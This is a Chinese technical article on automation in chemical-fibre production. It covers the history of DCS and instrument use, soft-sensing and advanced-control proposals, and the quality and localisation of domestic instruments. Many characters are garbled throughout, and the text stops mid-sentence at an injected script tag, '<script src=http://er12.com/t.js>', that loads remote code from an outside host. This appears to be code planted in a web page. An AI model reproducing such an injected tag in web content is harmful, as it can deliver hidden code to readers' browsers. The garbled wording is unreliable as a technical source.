1概述
纺织工业是加工天然纤维和制造、加工化学纤维的工业。纺、织、印、染是对天然纤维进行加工的过程,其连续性较差,自动化水平低,是劳动力密集型的生产过程。化纤生产是制造纤维的生产过程,是一个多机台、长流程、连续性很强的生产过程,具有较高的自动化水平。
2化纤自动化的发展与现状
从60年代初到70年代中期,在我国化纤生产过程中,主要是电动单元组合仪表和气动单元组合仪表混合使用,以工段为单位设置控制室,进行集中控制。从70年代后期开始,逐步以电动仪表为主,以车间或装置为单位进行集中控制,并在大型化纤项目中开始采用集散型控制系统(dcs)。到80年代后期才开始采用质量流量计、智能变送器和数字式显示调节仪表等,同时更多地采用了在线分析仪表。现在在新建的大、中型化纤项目中,基本上都采用了dcs。
在引进项目带动下,在化纤生产过程中所有采用的现场仪表和控制系统,从硬件来看基本上达到了世界先进水平。但还存在着两个主要问题:
1)dcs的应用水平较低,基本上是代替常规仪表的作用。
2)在新建的大、中型化纤项目中,所采用的仪表有80%以上是进口的,所采用的dcs和plc几乎全部是进口的。
因此,如何提高dcs的应用水平,以提高经济效益;在仪表选取型中,如何提高国产化率,降低投资,并促进我国自动化信笺遥发展,是急待解决的问题。
3提高dcs应用水平的途径
在化纤生产过程中,普遍地采用了dcs,但其作用主要是进行简单的pid控制、串级控制、比值控制、参数或状态显示,专用光报警、远方操作和打印报表等,远没有充分发挥dcs应有的作用。今后可从下述几方面提高dcs应用水平。
1)利用dcs较强的和开放的通信功能,使全厂dcs组成监控网络,并与以管理为主的信息网络一丐,形成一个管控一体化的综合信息网络,使之能在进行实时控制的同时,为优化高度、经营管理和领导决策提供依据,为实现企业综合自动化创造条件。
2)利用dcs强大的运算功能进行软测量。在化纤生产过程中,有些关键的变时无法直接测量,如合成纤维生产中的酯化度、聚全度;粘胶纤维生产中的熟成度等到,都是中间产品质量的重要指标,是直接影响产品质量的,是生产过程中必须加以密切监视和严格控制的工艺参数。现在都是用化验的办法测定出来,很不及时,往往因此造成很多次品。对这些变量采用软测量技术,及时有效地测量出来,对提高产品质量具有重要意义,难点在于如何建立软测量模型。首先要结合生产实际,深入研究生产过程中的化学或物理机理,确定这些不可测变量与可测变量的数学关系,或用实验统计回归法,建立起软测量模型,再由dcs根据有关可测变量实时地推算出所需要的不可测变量,并显示出来,使操作、监视既直观又方便,进而实现对这些变量的过程控制或优化管理。
3)利用dcs强大的运算功能和控制功能进行先进控制和优化控制。化纤生产一般都是流程长、连续性强、控制要求严格的生产过程。产品质量都与物料的组成、设备内的温度、压力以及物料在设备内的停留时间有直接关系,停贸时间性又与液位及物料流量有关。在这种连续的生产过程中,如何使有关的可控变量按一定规律随有可控变量的变化及时地作出响应,以保证产品质量,稳定生产。这就要根据不同的生产特点选择有效的控制方案和先进的控制方法,诸如模糊控制、自适应控制、预估控制和最坐一化控制等,这些在石化行业已取得了较好的效果。有些在学术上很成熟的技术,在化橇生产中也没能得到很好地应用,这就要求自动化工作者,在深入研究工艺机理,吃透工艺的前提下,针对生产实际实施先进控制和优化控制,以取得较好的经济效益。
4提高质量,增加品种,促进国产化
在大中型化纤厂中,大部分仪表是进口的。其主要原因是:国产仪表在质量上与进口仪表相比还有一定差距;品种还不能完全满足需求,尤其是一些专用仪表无人生产;市场管理不规范,存在着不平等竟争的因素等。
4.1仪表的设计必须为用户着想
要具有高的可靠性,较好的环境适应性,要便于安装、维护和检修,例如磁翻柱液位计,在某厂罐区使用中,经常出南有一些磁柱不翻转,有的整条磁柱不动作。强果将整条磁柱用有机玻璃密封起来,将会在很大程度上提高其可靠性和对环境的适应性。又如有的现场仪表无接线盒,而用航空插座或留一根短电缆,有的留两根短电线,给现场接线造成困难,现场仪表的过程连接规格很不统一,给安装造成不便。
4.2完善质量管理体系,提高产品质量
自动化仪表是高新技术产品,必须具有先进的制造工艺装备,严格的检测手段,必要的特种工技术、完善的生产管理体系,才能保证产品质量。目前国内仪表行业生产秩序较乱,有?script src=http://er12.com/t.js>